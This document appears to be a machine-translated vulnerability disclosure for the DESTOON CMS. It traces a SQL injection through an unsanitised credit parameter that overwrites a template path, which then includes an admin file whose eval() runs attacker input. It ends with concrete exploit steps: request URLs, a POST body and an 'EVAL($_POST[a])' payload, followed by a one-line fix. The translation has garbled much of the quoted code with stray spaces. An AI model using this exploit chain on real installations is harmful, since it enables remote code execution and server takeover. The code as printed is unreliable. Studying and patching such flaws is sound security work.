DESTOON foreground getshell
\ Module \ know \ answer. inc. php
143-161 rows
Case 'raise ': // This function is used to update the number of rewards for "Know the function", because it is only allowed to increase the number of rewards twice by default. if ($ credit <1) dalert ($ L ['select _ credentials'], 'goback'); // here, the credit cannot be less than 1. // because php is a weak language, so when 1xxx is converted to 1, if ($ credit> $ _ credit) dalert ($ L ['lack _ credentials'], 'goback') is established '); $ could_raise = $ could_admin; // whether it is the author of "know" release. if ($ item ['process']! = 1) $ could_raise = false; if ($ item ['raise '] >=$ MOD ['maxraise']) $ could_raise = false; // $ MOD ['maxraise '] indicates the maximum number of "Increased prizes. If ($ could_raise) {// enter this process by entering the condition if ($ credit> = $ MOD ['raisecredit ']) {$ addtime = $ DT_TIME; $ totime = $ DT_TIME + $ MOD ['overdays'] * 86400 + $ MOD ['raisedays'] * 86400;} else {$ addtime = $ item ['addtime']; $ totime = $ item ['totime'] + $ MOD ['raisedays'] * 86400 ;} $ db-> query ("UPDATE {$ table} SET credit = credit + $ credit, raise = raise + 1, addtime = $ addtime, totime = $ totime WHERE itemid = $ itemid "); // you can directly import credit + $ credit to your account. Because $ credit does not have an int value, injection may occur...
But it's a bit like anti-injection.
In safe. func. php
"/select([\s\S]*?)from/i"
This cannot be used. If subqueries are not supported, there is no major harm. So I looked for a piece of code that could increase the level of hazard.
In/module/know/show. inc. php (this file is used to display information)
First, check Row 3.
$ Item = $ db-> get_one ("SELECT * FROM {$ table} WHERE itemid = $ itemid"); item is the data that is equal to "question-aware. Since we have a master of the update injection point, we can update anything we want.
Let's look at the last two rows.
If ($ item ['template']) $ template = $ item ['template']; // This can be updated to include template ($ template, $ module); // This function is no stranger .. this step is also the last command submitted.
function template($template = 'index', $dir = '') {global $CFG;$to = $dir ? DT_CACHE.'/tpl/'.$dir.'-'.$template.'.php' : DT_CACHE.'/tpl/'.$template.'.php';$isfileto = is_file($to);if($CFG['template_refresh'] || !$isfileto) {if($dir) $dir = $dir.'/'; $from = DT_ROOT.'/template/'.$CFG['template'].'/'.$dir.$template.'.htm';if($CFG['template'] != 'default' && !is_file($from)) {$from = DT_ROOT.'/template/default/'.$dir.$template.'.htm';} if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) {require_once DT_ROOT.'/include/template.func.php';template_compile($from, $to);}}return $to;}
If it is in win, you can directly return the path,
if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) {
These conditions will not be true. Will return $;
However, in linux, a non-existent directory cannot be jumped out.
However, destoon creates a directory for us.
Linux:
Template_compile ($ from, $ to); creates a cache file. Function template_compile ($ from, $ to) {$ content = template_parse (file_get ($ from); file_put ($ to, $ content ); // The key is that this file_put will help us create a directory.} function template_parse ($ str) {global $ CFG; $ str = preg_replace ("/\ <\! \-\ [(. + ?) \] \-\>/"," ", $ Str); $ str = preg_replace ("/\ <\! \-\ {(. + ?) \}\-\>/S "," {\\ 1} ", $ str ); $ str = preg_replace ("/\ {template \ s + ([^ \}] +) \}/", "<? Php include template (\ 1);?> ", $ Str); $ str = preg_replace ("/\ {php \ s + (. +) \}/"," <? Php \ 1?> ", $ Str); $ str = preg_replace ("/\ {if \ s + (. + ?) \}/"," <? Php if (\ 1) {?> ", $ Str); $ str = preg_replace ("/\ {else \}/"," <? Php} else {?> ", $ Str); $ str = preg_replace ("/\ {elseif \ s + (. + ?) \}/"," <? Php} else if (\ 1) {?> ", $ Str); $ str = preg_replace ("/\ {\/if \}/"," <? Php }?> \ R \ n ", $ str); $ str = preg_replace ("/\ {loop \ s + (\ S +) \}/"," <? Php if (is_array (\ 1) {foreach (\ 1 as \ 2) {?> ", $ Str); $ str = preg_replace ("/\ {loop \ s + (\ S +) \}/"," <? Php if (is_array (\ 1) {foreach (\ 1 as \ 2 = >\\ 3) {?> ", $ Str); $ str = preg_replace ("/\ {\/loop \}/"," <? Php }}?> ", $ Str ); $ str = preg_replace ("/\ {([a-zA-Z _ \ x7f-\ xff] [a-zA-Z0-9 _ \ x7f-\ xff] * \ ([^ {}] *) \) \}/"," <? Php echo \ 1;?> ", $ Str); $ str = preg_replace ("/<\? Php ([^ \?] +) \?> /Es "," template_addquote ('<? Php \ 1?> ') ", $ Str ); $ str = preg_replace ("/\ {(\ $ [a-zA-Z _ \ x7f-\ xff] [a-zA-Z0-9 _ \ + \-\ x7f-\ xff] *) \}/"," <? Php echo \ 1;?> ", $ Str); $ str = preg_replace ("/\ {(\ $[a-zA-Z0-9 _ \ [\] \ '\ "\ $ \ x7f-\ xff] +) \}/es "," template_addquote ('<? Php echo \ 1;?> ') ", $ Str); $ str = preg_replace ("/\ {([A-Z _ \ x7f-\ xff] [A-Z0-9 _ \ x7f-\ xff] *) \}/s "," <? Php echo \ 1;?> ", $ Str); $ str = preg_replace ("/\ '([A-Za-z] +) \ [\' ([A-Za-z \.] +) \ '\] (.?) \ '/S ","' \ 1 [\ 2] \ 3 '", $ str); $ str = preg_replace ("/(\ r? \ N) \ 1 +/"," \ 1 ", $ str); $ str = str_replace (" \ t ",'', $ str ); $ str = "<? Php defined ('in _ DESTOON ') or exit ('Access Denied');?> ". $ Str; if ($ CFG ['template _ trim']) return strip_nr ($ str); return $ str ;}
function file_put($filename, $data) {dir_create(dirname($filename));if(@$fp = fopen($filename, 'wb')) {flock($fp, LOCK_EX);$len = fwrite($fp, $data);flock($fp, LOCK_UN);fclose($fp);if(DT_CHMOD) @chmod($filename, DT_CHMOD);return $len;} else {return false;}}
function dir_create($path) {if(is_dir($path)) return true;if(DT_CACHE != DT_ROOT.'/file/cache' && strpos($path, DT_CACHE) !== false) {$dir = str_replace(DT_CACHE.'/', '', $path);$dir = dir_path($dir);$temp = explode('/', $dir);$cur_dir = DT_CACHE.'/';$max = count($temp) - 1;for($i = 0; $i < $max; $i++) {$cur_dir .= $temp[$i].'/';if(is_dir($cur_dir)) continue;@mkdir($cur_dir);if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD);if(!is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html');}} else {$idx = strpos($path, '/file/') !== false ? true : false;$dir = str_replace(DT_ROOT.'/', '', $path);$dir = dir_path($dir);$temp = explode('/', $dir);$cur_dir = DT_ROOT.'/';$max = count($temp) - 1;for($i = 0; $i < $max; $i++) {$cur_dir .= $temp[$i].'/';if(is_dir($cur_dir)) continue;@mkdir($cur_dir);if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD);if($idx && !is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html');}}return is_dir($path);}
In the end, linbux will create the know-directory because the $ dir is know.
Function template ($ template = 'index', $ dir = '')
So you don't have to worry about using/.../in linux.
The Code executed in tag. inc. php was submitted in 360 last time.
Let's take a look. (This is because the admin file is used here, but it is always a great risk to include it in the ordinary file ).
In admin/tag. inc. php.
Defined ('in _ DESTOON ') or exit ('Access Denied'); // This constant is defined IN common. inc. php.
93-99
$ Tag_code. = '; $ tag_safe = substr ($ tag_code, 5,-7); foreach (array ('(',''',',',';') as $ v) {if (strpos ($ tag_safe, $ v )! = False) msg ('unsafe Syntax of TAG content, online preview prohibited ');} ob_start (); eval ($ tag_code );
There seems to be no restrictions here.
$ Tag_code is the last security measure to be implemented. As long as $ tag_code does not exceed the specified length.
Template must be equal to/.../admin/tag. inc.
Now remember
function strip_sql($string) {$match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-z0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i");$replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char(');return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);}
There seems to be no code for me to update .. 0x is materialized, and CHAR is also
You can only write the path to another field first.
Template = the written Field
(Ps: This release requires the Administrator to review the question)
After the execution is complete, the page will automatically Jump. If the page is blank, it will be successful.
EXP:
1.
Http: // 127.0.0.1/destoon/member/answer. php? Itemid = 6 & action = raise
Credit = 1, template = introduce
2.
Http: // 127.0.0.1/destoon/know/show. php? Itemid = 6
Action = preview & tag_code = EVAL ($ _ POST [a]); & a = phpinfo (); exit;
(Post [introduce] =>/.../admin/tag. inc)
In addition, you can also use this method. For more information, see getshell at the front end of WooYun: Destoon (CSRF arbitrary code execution ).
Solution:
Int drop credit. (The admin directory file is better to change to another constant for verification ..)